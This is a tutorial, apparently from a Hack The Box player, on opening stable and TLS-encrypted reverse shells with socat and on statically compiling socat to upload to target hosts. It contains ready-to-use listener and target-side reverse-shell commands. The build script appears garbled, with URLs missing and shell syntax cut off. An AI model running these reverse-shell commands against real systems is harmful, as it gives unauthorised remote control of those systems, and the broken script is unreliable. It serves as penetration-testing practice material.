There are several commands and tools that can be used to establish a shell connection between hosts, on that is very useful in multiple ways is socat. There are several benefits to using socat over netcat, one being the ability of stabilizing the shell from the start and not having to run through a sequence of commands to do so. The only downside to this tool is that it requires the binary to exist in both ends, which might not be common in many cases, but can be easy to move the binary to the target system and start a better reverse shell.

This post covers establishing a shell session between two hosts in Windows and Linux environments, these are the commands I use when working on a Hack The Box machine when I want to use socat. It also covers compiling the binaries for Linux and Windows.

The same code is used for the binaries in either environment, the advantage of this is being able to use the same commands regardless of the environment and not having to remember the difference between one and the other, beside the program being used as the shell.

Reverse Shell Session

A listener can be started with the following command, which has the advantage of creating a stable shell without needing to run additional commands

socat file:`tty`,raw,echo=0 tcp4-listen:9000

If the listener is started in a Windows environment, then use the following command to start the listener, though not as stable as the command above

socat tcp4-listen:9000 stdout

On the target host, the reverse shell is started with the command below

socat exec:'/usr/bin/bash -li',pty,stderr,setsid,sigint,sane tcp4:

Change the IP address to the respective address, on the listening side it binds the connection to a specific address and on the target host it establishes the connection to the attacker's host.

Despite the shell being more stable from the start, it may be necessary to set the dimensions of the STTY and the TERM environment variable to further stabilize the shell and prevent artifacts from showing up in the output. If the target system is running Linux, then simply set the TERM environment variable to the terminal being used, since I use xterm, I run the command export TERM=xterm-256color.

Setting the terminal dimensions can be done by first running the command stty size on the local system and then setting the terminal dimensions on the reverse shell with the command stty rows 80 cols 124, just replace the values as necessary.

The command below can be executed on the local system to generate the necessary commands and just need to copy from the terminal on the local system and paste on the reverse shell session

stty size | awk '{printf "stty rows " $1 " cols " $2}';printf ";export TERM=$TERM"

The above steps only apply when both systems are running a Unix-based system and not when it's a Windows system.

TLS Encryption

Starting an encrypted connection can also be done with the use of a SSL certificate, the commands below are used to create the certificate

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes
cat key.pem cert.pem > single.pem

Start the listener with the command below

socat file:`tty`,raw,echo=0 openssl-listen:9000,cert=single.pem,verify=0

On the target host, the following command can be used to initiate the reverse shell

socat exec:'/usr/bin/bash -li',pty,stderr,setsid,sigint,sane openssl:,verify=0

Change the IP address to the respective address, on the listening side it binds the connection to a specific address and on the target host it establishes the connection to the attacker's host.

Compile Socat

The socat binary can be statically compiled so that it can be uploaded to a target Linux host and used to establish a reverse shell. Compilation is done within a container to prevent having to install any additional tools.

The following script is used for the compilation, check for the latest versions of each of the packages needed for the compilation process


set -e
set -o pipefail
set -x

# Check for the latest versions of these packages

function build_ncurses() {
    cd /build

    # Download
    curl -LO${NCURSES_VERSION}.tar.gz
    tar zxvf ncurses-${NCURSES_VERSION}.tar.gz
    cd ncurses-${NCURSES_VERSION}

    # Build
    CC='/usr/bin/gcc -static' CFLAGS='-fPIC' ./configure \
        --disable-shared \

function build_readline() {
    cd /build

    # Download
    curl -LO${READLINE_VERSION}.tar.gz
    tar xzvf readline-${READLINE_VERSION}.tar.gz
    cd readline-${READLINE_VERSION}

    # Build
    CC='/usr/bin/gcc -static' CFLAGS='-fPIC' ./configure \
        --disable-shared \
    make -j4

    # Note that socat looks for readline in <readline/readline.h>, so we need
    # that directory to exist.
    ln -s /build/readline-${READLINE_VERSION} /build/readline

function build_openssl() {
    cd /build

    # Download
    curl -LO${OPENSSL_VERSION}.tar.gz
    tar zxvf openssl-${OPENSSL_VERSION}.tar.gz
    cd openssl-${OPENSSL_VERSION}

    # Configure
    CC='/usr/bin/gcc -static' ./Configure no-shared no-async linux-x86_64

    # Build
    make -j4
    echo "** Finished building OpenSSL"

function build_socat() {
    cd /build

    # Download
    curl -LO${SOCAT_VERSION}.tar.gz
    tar xzvf socat-${SOCAT_VERSION}.tar.gz
    cd socat-${SOCAT_VERSION}

    # Build
    # NOTE: `NETDB_INTERNAL` is non-POSIX, and thus not defined by MUSL.
    # We define it this way manually.
    CC='/usr/bin/gcc -static' \
        CFLAGS='-fPIC' \
        CPPFLAGS="-I/build -I/build/openssl-${OPENSSL_VERSION}/include -DNETDB_INTERNAL=-1" \
        LDFLAGS="-L/build/readline-${READLINE_VERSION} -L/build/ncurses-${NCURSES_VERSION}/lib -L/build/openssl-${OPENSSL_VERSION}" \
    make -j4
    strip socat

function doit() {

    # Copy to output
    if [ -d /output ]
        OUT_DIR=/output/`uname | tr 'A-Z' 'a-z'`/`uname -m`
        mkdir -p $OUT_DIR
        cp /build/socat-${SOCAT_VERSION}/socat $OUT_DIR/
        echo "** Finished **"
        echo "** /output does not exist **"


The following Dockerfile is used to create the container that will be used for compilation

MAINTAINER Andrew Dunham <>

RUN apk --update add build-base bash automake git curl linux-headers

RUN mkdir /build
RUN mkdir /output
ADD . /build

# This builds the program and copies it to /output
CMD /build/

Create the container with the command below, the files mentioned above should exist within the same directory

podman build -t socat-static .

Run the following command to start the container and compile the socat binary

podman run -v $PWD:/output --rm localhost/socat-static

The successful compilation will result in the path ./linux/x86_64/socat being created and containing the statically linked binary for 64-bit Linux systems.

To compile for 32-bit, the needs to be modified in the function build_openssl, the configure line should read CC='/usr/bin/gcc -static' ./Configure no-shared no-async linux-x86 to compile OpenSSL library in 32-bit. The container needs to be created with the command podman build -t socat-static-32 --arch=386 . to create the container with 32-bit architecture. The container is then started with the command podman run -v $PWD:/output --rm localhost/socat-static-32. The output will still be saved to the directory ./linux/x86_64, thus will overwrite any existing file with the name socat.

The 32-bit version will also work in the 64-bit system.

Compile for Windows

To compile in Windows, the follow the steps below

  1. Install Cygwin with the Development packages.
  2. Download the tarball from the URL and untar within Cygwin.
  3. Run the command ./configure and then make

The following list of libraries need to be copied along with the executable to run Socat in any Windows system, simply place the libraries in the same folder as the executable

The libraries are found within the Cygwin bin folder.